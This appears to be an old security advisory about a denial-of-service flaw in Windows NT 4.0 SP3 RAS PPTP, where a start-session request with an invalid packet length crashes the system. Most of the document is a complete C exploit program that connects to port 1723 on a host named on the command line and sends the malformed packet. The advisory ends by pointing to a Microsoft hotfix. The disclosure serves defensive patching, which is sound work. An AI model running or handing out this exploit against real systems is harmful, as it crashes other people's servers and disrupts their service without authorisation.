COMMAND

    NT RAS PPTP

SYSTEMS AFFECTED

    Win NT with RAS PPTP

PROBLEM

    Kevin Wormington  found potenial  DoS in  Windows.   He discovered
    that NT 4.0 with SP3 and  RAS PPTP is vulnerable to a  DoS causing
    core dump.  You send a pptp start session request with an  invalid
    packet length in the pptp packet  header that it will crash an  NT
    box.

    Here  is  a  very  crude  code  fragment  that  will  exploit this
    behaviour:

    /*
     * Sample Windoze NT RAS PPTP exploit
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>

    #define PPTP_MAGIC_COOKIE       0x1a2b3c4d
    #define PPTP_CONTROL_HEADER_OFFSET  8
    #define PPTP_REQUEST_OFFSET  12
    typedef enum {
      PPTP_CONTROL_PACKET = 1,
      PPTP_MGMT_PACKET} PptpPacketType;
    typedef enum {
      PPTP_START_SESSION_REQUEST = 1,
      PPTP_START_SESSION_REPLY,
      PPTP_STOP_SESSION_REQUEST,
      PPTP_STOP_SESSION_REPLY,
      PPTP_ECHO_REQUEST,
      PPTP_ECHO_REPLY,
      PPTP_OUT_CALL_REQUEST,
      PPTP_OUT_CALL_REPLY,
      PPTP_IN_CALL_REQUEST,
      PPTP_IN_CALL_REPLY,
      PPTP_IN_CALL_CONNECTED,
      PPTP_CALL_CLEAR_REQUEST,
      PPTP_CALL_DISCONNECT_NOTIFY,
      PPTP_WAN_ERROR_NOTIFY,
      PPTP_SET_LINK_INFO,
      PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;

    typedef struct {
      u_short    packetLength;
      u_short    packetType;
      u_long     magicCookie;} PptpPacketHeader;
    typedef struct {
      u_short    messageType;
      u_short    reserved;
    } PptpControlHeader;
    typedef struct {
      u_long     identNumber;} PptpEchoRequest;
    typedef enum {
      PPTP_ECHO_OK = 1,
      PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
    typedef struct {
      u_long     identNumber;
      u_char     resultCode;
      u_char     generalErrorCode;
      u_short    reserved;} PptpEchoReply;
    #define PPTP_FRAME_CAP_ASYNC      0x00000001L
    #define PPTP_FRAME_CAP_SYNC       0x00000002L
    #define PPTP_BEARER_CAP_ANALOG    0x00000001L
    #define PPTP_BEARER_CAP_DIGITAL   0x00000002L
    typedef struct {
      u_short     protocolVersion;
      u_char      reserved1;
      u_char      reserved2;
      u_long      framingCapability;
      u_long      bearerCapability;
      u_short     maxChannels;
      u_short     firmwareRevision;
      char        hostName[64];
      char        vendorString[64];} PptpStartSessionRequest;
    int pptp_start_session (int);
    int main(int argc, char **argv)
        {
        int pptp_sock, i, s, offset;
        u_long src_ip, dst_ip = 0;
        struct in_addr addr;
        struct sockaddr_in sn;
        struct hostent *hp;
        struct servent *sp;
        fd_set ctl_mask;
        char buf[2048];
        if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
          {
          perror("tcp socket");
          exit(1);
          }
        sp = getservbyname("pptp", "tcp"); /* port 1723 */
        if (!sp)
          {
          fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
          exit(1);
          }
        hp = gethostbyname(argv[1]);
        if (!hp) { fprintf (stderr, "Address no good.\n"); exit(1); }

        memset(&sn, 0, sizeof(sn));
        sn.sin_port = sp->s_port;
        sn.sin_family = hp->h_addrtype;
        if (hp->h_length > (int)sizeof(sn.sin_addr))
          {
          hp->h_length = sizeof(sn.sin_addr);
          }
        memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
        if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0)
          {
          perror("pptp: can't connect");
          close(s);
          exit(1);
          }
        pptp_start_session(pptp_sock);
        fprintf(stderr, "Done\n");
        close(pptp_sock);
        return (0);
        }
    int pptp_start_session (int sock)
      {
      PptpPacketHeader packetheader;
      PptpControlHeader controlheader;
      PptpStartSessionRequest sessionrequest;
      char packet[200];
      int offset;
      packetheader.packetLength = htons (20);  /* whoops, i forgot to change it */
      packetheader.packetType = htons(PPTP_CONTROL_PACKET);
      packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
      controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
      controlheader.reserved = 0;
      sessionrequest.protocolVersion = htons(1);
      sessionrequest.reserved1 = 0;
      sessionrequest.reserved2 = 0;
      sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
      sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
      sessionrequest.maxChannels = htons(32);
      sessionrequest.firmwareRevision = htons(1);
      memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
      sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
      memset(&sessionrequest.vendorString, 0, sizeof
    (sessionrequest.vendorString));
      sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
      memset(&packet, 0, sizeof(packet));
      memcpy(&packet, &packetheader, sizeof(packetheader));
      memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader,
                                              sizeof(controlheader));
      memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest,
                                              sizeof(sessionrequest));
      send (sock, &packet, 156, 0);
      return (0);
      }

SOLUTION

    The RRAS hotix 1.0 is available at:

        http://www.microsoft.com/communications/rrasfix.htm